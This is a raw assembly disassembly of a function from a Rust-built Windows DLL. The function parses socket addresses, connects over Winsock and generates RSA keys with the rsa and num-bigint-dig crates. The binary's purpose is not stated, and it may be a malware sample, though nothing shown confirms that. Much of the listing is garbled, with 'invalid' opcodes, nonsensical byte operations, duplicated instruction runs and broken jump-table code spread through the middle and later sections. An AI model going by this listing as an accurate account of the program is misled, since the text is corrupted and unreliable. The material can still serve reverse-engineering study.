lea rdx, [0x18006da20]
lea rdi, [rbx + 0x180]
push 0xe
pop r8
mov rcx, rdi
mov qword [rbx + 0x3b8], r8
call fcn.180019144
mov rsi, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
lea rcx, [rbx + 0x9a0]
mov qword [rcx], rsi
mov qword [rcx + 8], rdi
call fcn.1800264e0
mov r12, rax
test r12b, 1
je 0x18000e683
mov r8, qword [rbx + 0x9a0]
mov r9, qword [rbx + 0x9a8]
test r9, r9
je 0x18000e66e
xor r14d, r14d
cmp byte [r8], 0x3a
jne 0x18000e66e
lea r10, [r8 + 1]
lea r15, [r9 - 1]
mov r13w, 0xa
mov qword [rbx + 0x88], r15
mov qword [rbx + 0x80], r10
xor ecx, ecx
test r15, r15
je 0x18000e644
lea rdx, [r10 + 1]
movzx r11d, byte [r10]
add r11d, 0xffffffd0
xor eax, eax
cmp r11d, 0xa
setb al
cmovb r10, rdx
sub r15, rax
jmp 0x18000e646
xor eax, eax
cmp eax, 1
jne 0x18000e699
mov eax, ecx
mul r13w
jo 0x18000e68a
add ax, r11w
setb dl
cmp r11d, 0xffff
ja 0x18000e68a
test dl, dl
jne 0x18000e68a
inc r14d
mov ecx, eax
jmp 0x18000e621
xor eax, eax
mov qword [rbx + 0x9a0], r8
mov qword [rbx + 0x9a8], r9
test ax, ax
jne 0x18000e6d3
xor r12d, r12d
xor eax, eax
jmp 0x18000e6f5
xor eax, eax
jmp 0x18000e6b1
push 1
pop rcx
mov rdx, r13
call fcn.180069600
mov qword [rbx + 0x9a0], r10
mov qword [rbx + 0x9a8], r15
xor eax, eax
test r14d, r14d
setne al
jne 0x18000e6cd
mov rdx, qword [rbx + 0x80]
mov qword [rbx + 0x9a0], rdx
mov rdx, qword [rbx + 0x88]
mov qword [rbx + 0x9a8], rdx
cmp ax, 1
jne 0x18000e670
movabs rax, 0xffffffff00
and r12, rax
shr r12, 8
movzx eax, cx
shl rax, 0x30
shl r12, 0x10
or r12, rax
push 1
pop rax
push 0xa
pop rcx
mov qword [rbx + 0xb0], rcx
movzx ecx, r12w
or rcx, rax
cmp rcx, 1
jne 0x18000e718
mov rax, qword [rbx + 0x9a8]
jmp 0x18000e7e0
mov qword [rbx + 0x9a0], rsi
mov qword [rbx + 0x9a8], rdi
mov rax, rdi
test rcx, rcx
jne 0x18000e7e0
mov rax, qword [rbx + 0x9a8]
test rax, rax
je 0x18000eca3
mov r15, qword [rbx + 0x9a0]
dec rax
mov cl, byte [r15]
inc r15
mov qword [rbx + 0x9a0], r15
mov qword [rbx + 0x9a8], rax
cmp cl, 0x5b
jne 0x18000eca3
pxor xmm6, xmm6
lea rdx, [rbx + 0x6b0]
movdqa xmmword [rdx], xmm6
lea rcx, [rbx + 0x9a0]
push 8
pop r14
mov r8, r14
call fcn.180026880
cmp rax, 8
jne 0x18000eabd
movdqa xmm0, xmmword [rbx + 0x6b0]
movdqa xmm1, xmm0
punpckhbw xmm1, xmm6
pshuflw xmm1, xmm1, 0xb1
pshufhw xmm1, xmm1, 0xb1
punpcklbw xmm0, xmm6
pshuflw xmm0, xmm0, 0xb1
pshufhw xmm0, xmm0, 0xb1
packuswb xmm0, xmm1
mov rcx, qword [rbx + 0x9a0]
mov r8, qword [rbx + 0x9a8]
xor r13d, r13d
test r8, r8
jne 0x18000eb3b
jmp 0x18000ebd5
test rax, rax
jne 0x18000eca3
mov esi, r12d
shr esi, 0x10
shr r12, 0x18
xor edi, edi
mov al, byte [0x18008b300]
push 0x20
pop rdx
xor ecx, ecx
call fcn.180059d10
mov qword [rbx + 0x90], rax
test rax, rax
jne 0x18000e81c
push 4
pop rcx
push 0x20
pop rdx
call fcn.180069620
mov rdx, qword [rbx + 0x90]
mov word [rdx], di
mov rax, r12
shl rax, 8
movzx ecx, sil
or rcx, rax
shr r12, 0x18
mov word [rdx + 6], r12w
mov dword [rdx + 2], ecx
movq qword [rdx + 8], xmm6
pshufd xmm0, xmm6, 0xee
movd dword [rdx + 0x10], xmm0
and dword [rdx + 0x14], 0
mov dword [rdx + 0x18], r14d
mov word [rdx + 0x1c], r13w
add rdx, 0x20
mov qword [rbx + 0x88], rdx
push 1
pop rax
mov qword [rbx + 0x98], rax
lea rax, [rbx + 0xe0]
and qword [rax], 0
xor r13d, r13d
mov rsi, qword [rbx + 0x90]
cmp rsi, qword [rbx + 0x88]
je 0x18000ea67
movzx r14d, word [rsi]
movzx eax, word [rsi + 0x12]
mov word [rbx + 0x490], ax
movups xmm0, xmmword [rsi + 2]
movaps xmmword [rbx + 0x480], xmm0
cmp r14w, 2
je 0x18000ea67
mov edi, dword [rsi + 0x14]
mov eax, dword [rsi + 0x18]
mov dword [rbx + 0x80], eax
movzx r12d, word [rsi + 0x1c]
movzx eax, word [rbx + 0x490]
mov word [rbx + 0x9b0], ax
movdqa xmm0, xmmword [rbx + 0x480]
movdqa xmmword [rbx + 0x9a0], xmm0
mov rax, qword [0x18008b270]
cmp rax, 3
jne 0x18000ea5d
push 2
pop r15
test r14w, r14w
je 0x18000e906
push 0x17
pop r15
mov dword [rsp + 0x28], 0x81
and dword [rsp + 0x20], 0
mov ecx, r15d
push 1
pop rdx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x18000e950
test r14w, r14w
je 0x18000e9bc
rol r12w, 8
mov ax, 0x17
movdqu xmm0, xmmword [rbx + 0x9a2]
push 0x1c
jmp 0x18000e9d9
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2739
je 0x18000e96b
mov r13d, eax
cmp eax, 0x2726
jne 0x18000ea2e
mov dword [rsp + 0x28], 1
and dword [rsp + 0x20], 0
mov ecx, r15d
push 1
pop r15
mov edx, r15d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x18000ea52
mov r13, rax
mov rcx, rax
mov edx, r15d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x18000e92e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, r13
mov r13d, eax
jmp 0x18000ea28
movzx r12d, word [rbx + 0x9a4]
rol r12w, 8
mov edi, dword [rbx + 0x9a0]
pxor xmm0, xmm0
mov ax, 2
push 0x10
pop r8
mov word [rbx + 0x6b0], ax
mov word [rbx + 0x6b2], r12w
mov dword [rbx + 0x6b4], edi
movdqu xmmword [rbx + 0x6b8], xmm0
mov eax, dword [rbx + 0x80]
mov dword [rbx + 0x6c8], eax
mov rcx, r13
lea rdx, [rbx + 0x6b0]
call qword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
mov rdi, r13
jne 0x18000ea8d
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r13d, eax
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_closesocket]
shl r13, 0x20
or r13, 2
lea rcx, [rbx + 0xe0]
call fcn.180007146
mov qword [rbx + 0xe0], r13
add rsi, 0x20
jmp 0x18000e886
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r13d, eax
jmp 0x18000ea2e
call fcn.18006a8c0
jmp 0x18000e8f8
mov rcx, qword [rbx + 0x90]
mov rdx, qword [rbx + 0x98]
call fcn.18000742b
test r13, r13
lea rax, str.could_not_resolve_to_any_addresses
cmovne rax, r13
jmp 0x18000ed08
mov qword [rbx + 0x1e8], rdi
mov rcx, qword [rbx + 0x90]
mov rdx, qword [rbx + 0x98]
call fcn.18000742b
lea rcx, [rbx + 0xe0]
call fcn.180007146
mov dil, 1
xor esi, esi
jmp 0x18000ed14
test dl, 1
jne 0x18000eb2f
mov rcx, qword [rbx + 0x9a8]
test rcx, rcx
je 0x18000eb2f
mov rdx, qword [rbx + 0x9a0]
cmp byte [rdx], 0x3a
jne 0x18000eb2f
cmp rcx, 1
je 0x18000eb2f
add rcx, 0xfffffffffffffffe
mov r8b, byte [rdx + 1]
add rdx, 2
mov qword [rbx + 0x9a0], rdx
mov qword [rbx + 0x9a8], rcx
cmp r8b, 0x3a
jne 0x18000eb2f
and qword [rbx + 0x486], 0
and qword [rbx + 0x480], 0
push 7
pop r9
sub r9, rax
jae 0x1800118c8
lea r8, str.librarycore_src_netparser.rs
push 7
pop rdx
mov rcx, r9
call fcn.180069810
mov qword [rbx + 0x9a0], r15
jmp 0x18000eca3
cmp byte [rcx], 0x25
jne 0x18000ebd5
lea r10, [rcx + 1]
lea r15, [r8 - 1]
xor r14d, r14d
mov qword [rbx + 0x80], r15
mov r11, r10
xor r12d, r12d
xor r13d, r13d
test r15, r15
je 0x18000eb82
lea rdx, [r11 + 1]
movzx r9d, byte [r11]
add r9d, 0xffffffd0
xor eax, eax
cmp r9d, 0xa
setb al
cmovb r11, rdx
sub r15, rax
jmp 0x18000eb87
xor r15d, r15d
xor eax, eax
cmp eax, 1
jne 0x18000eba3
mov eax, r14d
push 0xa
pop rdx
mul edx
jo 0x18000ebc3
add eax, r9d
jb 0x18000ebc3
inc r12d
mov r14d, eax
jmp 0x18000eb5f
xor r13d, r13d
test r12d, r12d
setne r13b
mov rax, qword [rbx + 0x80]
cmovne rax, r15
mov qword [rbx + 0x80], rax
cmovne r10, r11
cmp r13d, 1
jne 0x18000ebd5
mov rcx, r10
mov r8, qword [rbx + 0x80]
jmp 0x18000ebdc
test r13d, r13d
cmove r14d, r13d
test r8, r8
je 0x18000eca3
cmp byte [rcx], 0x5d
jne 0x18000eca3
mov rax, r8
dec rax
mov qword [rbx + 0x80], rax
je 0x18000ec71
xor r11d, r11d
cmp byte [rcx + 1], 0x3a
jne 0x18000ec71
add rcx, 2
add r8, 0xfffffffffffffffe
mov r15w, 0xa
mov r10, r8
mov r12, rcx
xor r13d, r13d
test r10, r10
je 0x18000ec41
lea rdx, [r12 + 1]
movzx r9d, byte [r12]
add r9d, 0xffffffd0
xor eax, eax
cmp r9d, 0xa
setb al
cmovb r12, rdx
sub r10, rax
jmp 0x18000ec43
xor eax, eax
cmp eax, 1
jne 0x18001186f
mov eax, r13d
mul r15w
jo 0x18000ec81
add ax, r9w
setb dl
cmp r9d, 0xffff
ja 0x18000ec81
test dl, dl
jne 0x18000ec81
inc r11d
mov r13d, eax
jmp 0x18000ec1c
xor eax, eax
mov r10, qword [rbx + 0x80]
test ax, ax
jne 0x18000ec9a
jmp 0x18000eca3
mov qword [rbx + 0x9a8], r10
xor eax, eax
mov qword [rbx + 0x9a0], rcx
mov r10, r8
cmp ax, 1
jne 0x18000ec73
test r10, r10
je 0x18001182e
mov qword [rbx + 0x6b0], rsi
mov qword [rbx + 0x6b8], rdi
and qword [rbx + 0x6c0], 0
mov byte [rbx + 0x6d8], 1
movabs rax, 0x3a0000003a
mov qword [rbx + 0x6d0], rax
mov r15b, 0x3a
mov r14, rdi
mov cl, 0x3a
mov rdx, rsi
mov r8, r14
call fcn.1800288f0
cmp rax, 1
jne 0x18000ed01
mov r14, rdx
cmp rdx, rdi
jae 0x18000ecfc
cmp byte [rsi + r14], r15b
je 0x18000ee67
cmp r14, rdi
jbe 0x18000ecd7
lea rax, str.invalid_socket_address
mov qword [rbx + 0x1e8], rax
push 1
pop rsi
xor edi, edi
mov rcx, qword [rbx + 0x180]
mov rdx, qword [rbx + 0x188]
call case.0x180046113.1274
mov qword [rbx + 0x6a0], rsi
mov rax, qword [rbx + 0x1e8]
mov qword [rbx + 0x6a8], rax
test dil, dil
je 0x180018c85
call fcn.18003909a
mov qword [rbx + 0x80], rax
lea rsi, [rbx + 0x6b0]
mov edx, 0x10001
mov rcx, rsi
call fcn.18000a33c
lea rax, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_srckey.rs
mov qword [rsp + 0x20], rax
lea r8, str.invalid_static_exponent
lea rcx, [rbx + 0xc98]
push 0x17
pop r9
mov rdx, rsi
call fcn.180007c8b
lea rcx, [rbx + 0x180]
call fcn.18000a2b0
lea rsi, [rbx + 0x6b0]
push 2
pop rdx
mov rcx, rsi
mov qword [rbx + 0xc80], rdx
call fcn.18002f25b
cmp qword [rsi], 0
mov rcx, qword [rsi + 8]
jne 0x18000ee5b
mov rax, qword [rbx + 0x6c0]
mov qword [rbx + 0x230], rcx
mov qword [rbx + 0xd0], rax
mov qword [rbx + 0x238], rax
and qword [rbx + 0x240], 0
movdqu xmm0, xmmword [rbx + 0x180]
movdqu xmm1, xmmword [rbx + 0x190]
movdqu xmm2, xmmword [rbx + 0x1a0]
movdqa xmmword [rbx + 0x9c0], xmm2
movdqa xmmword [rbx + 0x9b0], xmm1
movdqa xmmword [rbx + 0x9a0], xmm0
cmp rcx, 1
ja 0x18000ef8f
lea rcx, [rbx + 0x230]
push 2
pop r8
xor edx, edx
call fcn.18002f10c
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x180011595
mov rax, qword [rbx + 0x238]
mov qword [rbx + 0xd0], rax
mov rax, qword [rbx + 0x240]
jmp 0x18000ef91
mov rdx, qword [rbx + 0x6c0]
call fcn.180069600
lea r13, [r14 + 1]
sub rdi, r13
lea rcx, [rsi + r14]
inc rcx
mov rdx, rdi
call fcn.18002aa00
test al, 1
jne 0x180011589
shr eax, 0x10
mov word [rbx + 0x1f0], ax
mov rax, qword [0x18008b270]
cmp rax, 3
je 0x18000eea1
call fcn.18006a8c0
lea r12, [rbx + 0x1f0]
mov qword [rbx + 0x230], r12
cmp r14, 0x17f
jbe 0x1800119d8
lea rdi, [rbx + 0x480]
lea r9, [rbx + 0x230]
mov rcx, rdi
mov rdx, rsi
mov r8, r14
call fcn.18006a920
mov rcx, qword [rdi]
mov rax, qword [rbx + 0x488]
mov qword [rbx + 0x1e8], rax
test rcx, rcx
jne 0x18000ed0f
lea rdx, [rbx + 0x488]
mov rax, qword [rdx + 8]
movzx ecx, word [rdx + 0x10]
mov r8d, dword [rdx + 0x12]
mov dword [rbx + 0x340], r8d
movzx r9d, word [rdx + 0x16]
mov word [rbx + 0x344], r9w
mov word [rbx + 0x1f0], cx
mov r10, qword [rbx + 0x1e8]
mov qword [rdx], r10
mov qword [rdx + 8], rax
mov word [rdx + 0x10], cx
mov dword [rdx + 0x12], r8d
mov word [rdx + 0x16], r9w
mov qword [rdx - 8], r12
mov byte [rbx + 0xdf], 1
lea rcx, [rbx + 0x6b0]
call fcn.18004d360
movzx esi, word [rbx + 0x6b0]
cmp si, 2
jne 0x18001159d
mov rcx, qword [rbx + 0x488]
call qword [sym.imp.ws2_32.dll_freeaddrinfo]
push 4
pop rax
xor ecx, ecx
mov qword [rbx + 0x98], rcx
mov qword [rbx + 0x90], rax
mov qword [rbx + 0x88], rax
jmp 0x18000e871
xor eax, eax
mov qword [rbx + 0x438], rax
push 8
pop rax
mov qword [rbx + 0xbc8], rax
imul rcx, qword [rbx + 0x438], 0x30
mov rax, qword [rbx + 0xd0]
mov r15, rcx
lea r14, [rax + rcx]
mov al, 1
lea rsi, [rbx + 0x6b0]
lea rdi, [rbx + 0x9a0]
test al, 1
je 0x18000f008
mov rcx, rsi
mov rdx, rdi
call fcn.18002ec93
movdqu xmm0, xmmword [rbx + 0x6b0]
movdqu xmm1, xmmword [rbx + 0x6c0]
movdqu xmm2, xmmword [rbx + 0x6d0]
movdqu xmmword [r14 + 0x20], xmm2
movdqu xmmword [r14 + 0x10], xmm1
movdqu xmmword [r14], xmm0
add r14, 0x30
xor eax, eax
jmp 0x18000efc8
lea rax, [rbx + 0x9a8]
movdqa xmm0, xmmword [rax - 8]
movdqa xmm1, xmmword [rax + 8]
movdqa xmm2, xmmword [rax + 0x18]
movdqu xmmword [r14 + 0x20], xmm2
movdqu xmmword [r14 + 0x10], xmm1
movdqu xmmword [r14], xmm0
mov rax, qword [rbx + 0x438]
add rax, 2
mov qword [rbx + 0xbd0], rax
lea rax, [rbx + 0x230]
mov rax, qword [rax]
mov qword [rbx + 0xc88], rax
or al, 0
add byte [rax - 0x75], cl
mov edx, eax
add byte [rax], al
add byte [rdx - 0x73], cl
add al, 0x39
or al, 0
add byte [rax - 0x75], cl
mov edx, eax
add byte [rax], al
add byte [rdx - 0x73], cl
add al, 0x39
add rax, 0x60
mov qword [rbx + 0x698], rax
add r15, 0x60
mov qword [rbx + 0x228], r15
pxor xmm6, xmm6
mov eax, 0x800
mov qword [rbx + 0x3f8], rax
push 5
pop rax
mov qword [rbx + 0xc8], rax
enter 0, 0
enter 0, 0
mov qword [rbx + 0x2d8], rcx
xor eax, eax
mov qword [rbx + 0x3a8], rax
mov rax, qword [rbx + 0x2d8]
cmp rax, qword [rbx + 0x698]
je 0x18001122c
cmp qword [rbx + 0x3a8], 2
je 0x180011987
push 2
pop rcx
sub rcx, qword [rbx + 0x3a8]
mov rax, qword [rbx + 0x3f8]
add byte [rcx], dh
ror byte [rax - 9], cl
int1
cmp rax, 2
jb 0x180011a3b
mov rdi, rax
inc qword [rbx + 0x3a8]
mov esi, edi
and esi, 7
push 8
pop rax
or byte [rax + 0x48], bl
cmove esi, eax
cmove rsi, rax
mov rax, qword [rbx + 0x2d8]
add rax, 0x30
mov qword [rbx + 0xc90], rax
mov dword [rbx + 0xc90], eax
lea r14, [rdi + 7]
mov qword [rbx + 0xc0], r14
shr r14, 3
lea rcx, [rbx + 0x8f8]
mov rdx, r14
call fcn.180036af3
push 0xffffffffffffffff
pop rax
mov ecx, esi
shl eax, cl
not al
mov dword [rbx + 0x98], eax
mov qword [rbx + 0x88], rsi
lea ecx, [rsi + 6]
and cl, 7
mov al, 3
shl al, cl
mov byte [rbx + 0xb8], al
dec r14
mov qword [rbx + 0x90], r14
mov rsi, qword [rbx + 0x900]
mov r14, qword [rbx + 0x908]
mov rcx, qword [rbx + 0x80]
mov rdx, rsi
mov r8, r14
call fcn.18003911e
mov rcx, rsi
mov rdx, r14
xor r8d, r8d
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.180009c90
mov ecx, dword [rbx + 0x98]
and byte [rax], cl
cmp dword [rbx + 0x88], 1
jbe 0x18000f1b8
mov rcx, rsi
mov rdx, r14
xor r8d, r8d
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.180009c90
mov cl, byte [rbx + 0xb8]
jmp 0x18000f1f2
mov rcx, rsi
mov rdx, r14
xor r8d, r8d
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
or eax, 0x5e088
or eax, 0x5e088
call fcn.180009c90
or byte [rax], 1
cmp qword [rbx + 0xc0], 0xf
rol byte [rax], 0
add byte [rdi], cl
rol byte [rax], 0
add byte [rdi], cl
add byte [rax], al
pcmpeqd mm3, qword [rdx]
jbe 0x18000f1f4
mov rcx, rsi
mov rdx, r14
push 1
pop r8
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
lea ecx, [0x18006d268]
lea ecx, [0x18006d268]
call fcn.180009c90
mov cl, 0x80
or byte [rax], cl
mov rcx, rsi
mov rdx, r14
mov r8, qword [rbx + 0x90]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.180009c90
or byte [rax], 1
lea rcx, [rbx + 0x290]
mov rdx, rsi
mov r8, r14
mov eax, esi
mov eax, esi
call fcn.180002959
mov rax, qword [0x18008b0d8]
test rax, rax
jne 0x18000f2db
invalid
invalid
add byte [rax], al
invalid
test dword [rcx + 0x31000000], ebp
shr byte [rdx + 1], 0x59
xor eax, eax
push 1
pop rcx
lock cmpxchg qword [0x18008b0d8], rcx
jne 0x18000f2db
lea rcx, [rbx + 0x6b0]
movabs rdx, 0xe221f97c30e94e1d
call fcn.18002eddb
cmp dword [rbx + 0x6b0], 2
je 0x1800119c0
movups xmm0, xmmword [rbx + 0x6b0]
movups xmm1, xmmword [rbx + 0x6c0]
movups xmm2, xmmword [rbx + 0x6d0]
movaps xmmword [rbx + 0x9c0], xmm2
movaps xmmword [rbx + 0x9b0], xmm1
movaps xmmword [rbx + 0x9a0], xmm0
lea rcx, [0x18008b0a8]
call fcn.180032a0d
movdqa xmm0, xmmword [rbx + 0x9a0]
movdqa xmm1, xmmword [rbx + 0x9b0]
movdqa xmm2, xmmword [rbx + 0x9c0]
movdqu xmmword [0x18008b0c8], xmm2
movdqu xmmword [0x18008b0b8], xmm1
jg 0x18000f2d0
int1
mov ebp, 0xff30007
jg 0x18000f2d0
fnstcw word [rbp + 0x26a0007]
jg 0x18000f2d0
int1
mov ebp, 0xff30007
jg 0x18000f2d0
fnstcw word [rbp + 0x26a0007]
add bl, byte [rax + 0x48]
xchg dword [0x18008b0d8], eax
invalid
invalid
pop rax
xchg qword [0x18008b0d8], rax
invalid
invalid
invalid
jmp case.0x18000f2fb.2
lea rcx, [0x18008237c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
pause
mov rax, qword [0x18008b0d8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rsi, [rbx + 0x6b0]
mov rcx, rsi
lea rdx, [rbx + 0x290]
lea r8, [0x18008b0a8]
call fcn.18002fb3d
lea rax, [rbx + 0x6e0]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqa xmmword [rbx + 0x9c0], xmm2
movdqa xmmword [rbx + 0x9b0], xmm1
movdqa xmmword [rbx + 0x9a0], xmm0
mov rcx, rsi
call fcn.18002ee0e
lea rcx, [rbx + 0x9a0]
call fcn.18000a2d5
test rax, rax
je 0x180011993
mov rsi, rdx
lea rcx, [rbx + 0x9a0]
call fcn.18002ee0e
xor r8d, r8d
cmp r8, 0x100000
jae 0x18000f607
lea r9, [r8 + 2]
lea rcx, [r8 + rsi]
xor r10d, r10d
cmp r10, 0xf
je 0x18000f3d1
lea rax, [0x18006d2c8]
movzx r11d, byte [r10 + rax]
test r11, r11
je 0x18001157d
cmp rdi, 7
setb r14b
inc r10
mov rax, rcx
xor edx, edx
div r11
cmp rcx, r11
sete al
test r14b, al
jne 0x18000f38e
test rdx, rdx
jne 0x18000f38e
mov r8, r9
jmp 0x18000f376
test r8, r8
je 0x18000f607
lea rcx, [rbx + 0x6b0]
mov rdx, r8
call fcn.18000a33c
cmp dword [rbx + 0x6b0], 2
je 0x18001199f
movdqu xmm0, xmmword [rbx + 0x6b0]
movdqu xmm1, xmmword [rbx + 0x6c0]
movdqu xmm2, xmmword [rbx + 0x6d0]
movdqa xmmword [rbx + 0x9c0], xmm2
movdqa xmmword [rbx + 0x9b0], xmm1
movdqa xmmword [rbx + 0x9a0], xmm0
mov rsi, qword [rbx + 0x2b8]
mov r14, rsi
cmp rsi, 5
jb 0x18000f43d
mov r14, qword [rbx + 0x298]
mov r9, qword [rbx + 0x9c8]
mov rax, r9
cmp r9, 5
jb 0x18000f454
mov rax, qword [rbx + 0x9a8]
sub dword [rax + 0x49000009], 0x39
invalid
cmp r14, rax
jae 0x18000f516
lea r15, [rbx + 0x298]
cmp rsi, 5
jb 0x18000f478
mov rsi, qword [rbx + 0x298]
mov r15, qword [rbx + 0x2a0]
invalid
add byte [rbp + rcx*4 - 0x5d], cl
movabs al, byte [0x894ce1894c000009]
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_biguint.rs
lea r12, [rbx + 0x9a0]
mov rcx, r12
mov rdx, r14
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_biguint.rs
call fcn.18002f3e8
mov r9, rdx
mov rcx, r15
add byte [rcx - 0x77], cl
ror dword [rcx + rcx*4 - 7], 1
mov rdx, rsi
mov r8, rax
call fcn.1800026c6
mov qword [rbx + 0xa0], rax
mov rcx, r12
mov rdx, r14
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_biguint.rs
call fcn.18002f453
mov qword [rbx + 0xa8], rax
mov r13, rdx
mov rsi, qword [rbx + 0x2b8]
cmp rsi, 5
invalid
jb 0x18000f4d9
mov rsi, qword [rbx + 0x298]
lea rcx, [rbx + 0x290]
mov rdx, r13
add byte [rcx + rcx*4 - 0x16], cl
call fcn.18002e7f1
mov rcx, rax
call fcn.18002e6d3
mov r12, qword [rbx + 0x2b8]
cmp r12, 5
cmp esp, 5
add byte [rbx + rcx*4 - 0x5d], cl
mov eax, 0x49000002
cmp esp, 5
jb 0x18000f554
mov r12, qword [rbx + 0x298]
cmp r12, rsi
jb 0x1800119ab
invalid
mov rax, qword [rbx + 0x2a0]
jmp 0x18000f564
lea rcx, [rbx + 0x298]
cmp rsi, 5
jb 0x18000f531
mov rsi, qword [rbx + 0x298]
mov rcx, qword [rbx + 0x2a0]
lea r8, [rbx + 0x9a8]
cmp r9, 5
jb 0x18000f54c
mov r9, qword [rbx + 0x9a8]
mov r8, qword [rbx + 0x9b0]
mov rdx, rsi
jmp 0x18000f5e2
lea rax, [rbx + 0x298]
cmp r12, rsi
jb 0x1800119ab
lea r15, [rax + rsi*8]
lea rcx, [r15 + r13*8]
mov r8, r12
sub r8, rsi
shl r8, 3
mov rdx, r15
call sub.VCRUNTIME140.dll_memmove
lea r8, [r13*8]
mov rcx, r15
mov rdx, qword [rbx + 0xa8]
call fcn.180068d66
add r12, r13
xor eax, eax
cmp qword [rbx + 0x2b8], 5
setb al
shl eax, 5
mov qword [rbx + rax + 0x298], r12
lea rcx, [rbx + 0x290]
mov rdx, r14
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_biguint.rs
call fcn.18002f453
inc byte [rcx]
add byte [rax - 0x75], cl
mov esp, dword [rax + 0x48000000]
mov dword [rbx + 0x6b0], ecx
invalid
inc byte [rcx]
add byte [rax - 0x75], cl
mov esp, dword [rax + 0x48000000]
mov dword [rbx + 0x6b0], ecx
invalid
add byte [rax - 0x77], cl
ror dword [rbp + rcx*4 - 0x7d], 0xb0
invalid
mov rcx, rax
lea r8, [rbx + 0x6b0]
add byte [rax], al
add byte [rax], al
push 1
pop r9
call fcn.1800026c6
test rax, rax
je 0x18000f5fb
lea rcx, [rbx + 0x290]
mov rdx, rax
call fcn.18002e485
lea rcx, [rbx + 0x9a0]
call fcn.18002ee0e
lea rcx, [rbx + 0x290]
call fcn.180002a0d
cmp rax, rdi
jne 0x1800100d2
mov rax, qword [rbx + 0x2b8]
cmp rax, 5
jb 0x18000f630
mov rax, qword [rbx + 0x298]
test rax, rax
je 0x1800100d2
mov rax, qword [0x18008b0a0]
test rax, rax
jne case.0x18000f2fb.5
xor eax, eax
push 1
pop rcx
lock cmpxchg qword [0x18008b0a0], rcx
jne case.0x18000f2fb.5
lea rcx, [rbx + 0x6b0]
push 0x40
pop rdx
call fcn.18002eddb
cmp dword [rbx + 0x6b0], 2
je 0x180011a19
movups xmm0, xmmword [rbx + 0x6b0]
movups xmm1, xmmword [rbx + 0x6c0]
movups xmm2, xmmword [rbx + 0x6d0]
movaps xmmword [rbx + 0x9c0], xmm2
movaps xmmword [rbx + 0x9b0], xmm1
movaps xmmword [rbx + 0x9a0], xmm0
lea rcx, [0x18008b070]
call fcn.180032a0d
movdqa xmm0, xmmword [rbx + 0x9a0]
movdqa xmm1, xmmword [rbx + 0x9b0]
movdqa xmm2, xmmword [rbx + 0x9c0]
movdqu xmmword [0x18008b090], xmm2
movq qword [0x18008b090], mm2
movq qword [0x18008b090], mm2
movdqu xmmword [0x18008b080], xmm1
movdqu xmmword [0x18008b070], xmm0
push 2
pop rax
xchg qword [0x18008b0a0], rax
jmp case.0x18000f712.2
lea rcx, [0x18008238c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
pause
mov rax, qword [0x18008b0a0]
lea rcx, [0x18008238c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, [rbx + 0x290]
lea rdx, [0x18008b070]
call fcn.1800331fd
test al, al
je 0x18000f759
lea rcx, [rbx + 0x290]
call fcn.18000a2d5
test rax, rax
je 0x1800119cc
movabs rax, 0x28208a20a08a28ac
bt rax, rdx
jae 0x1800100d2
jmp 0x180011285
mov rcx, qword [rbx + 0x2b8]
lea rax, [rbx + 0x298]
cmp rcx, 5
jb 0x18000f77b
mov rcx, qword [rbx + 0x298]
mov rax, qword [rbx + 0x2a0]
test rcx, rcx
je 0x1800100d2
test byte [rax], 1
je 0x1800100d2
mov r8d, 0xf60059af
lea r14, [rbx + 0x3c0]
mov rcx, r14
lea rsi, [rbx + 0x290]
mov rdx, rsi
call fcn.180035bfe
mov r8d, 0xeb52e3f3
lea rcx, [rbx + 0x400]
mov rdx, rsi
call fcn.180035bfe
lea rcx, [rbx + 0x6b0]
mov rdx, r14
push 3
pop r8
call fcn.180035c80
mov rsi, qword [rbx + 0x6d8]
cmp rsi, 5
jb 0x18000f7e8
mov rsi, qword [rbx + 0x6b8]
lea rcx, [rbx + 0x6b0]
call fcn.18002ee0e
test rsi, rsi
je 0x1800100ba
lea rcx, [rbx + 0x6b0]
lea rdx, [rbx + 0x3c0]
push 5
pop r8
call fcn.180035c80
mov rsi, qword [rbx + 0x6d8]
cmp rsi, 5
jb 0x18000f828
mov rsi, qword [rbx + 0x6b8]
lea rcx, [rbx + 0x6b0]
call fcn.18002ee0e
test rsi, rsi
je 0x1800100ba
lea rcx, [rbx + 0x6b0]
lea rdx, [rbx + 0x3c0]
push 7
pop r8
call fcn.180035c80
mov rsi, qword [rbx + 0x6d8]
cmp rsi, 5
jb 0x18000f868
lea rcx, [rbx + 0x400]
call fcn.18002ee0e
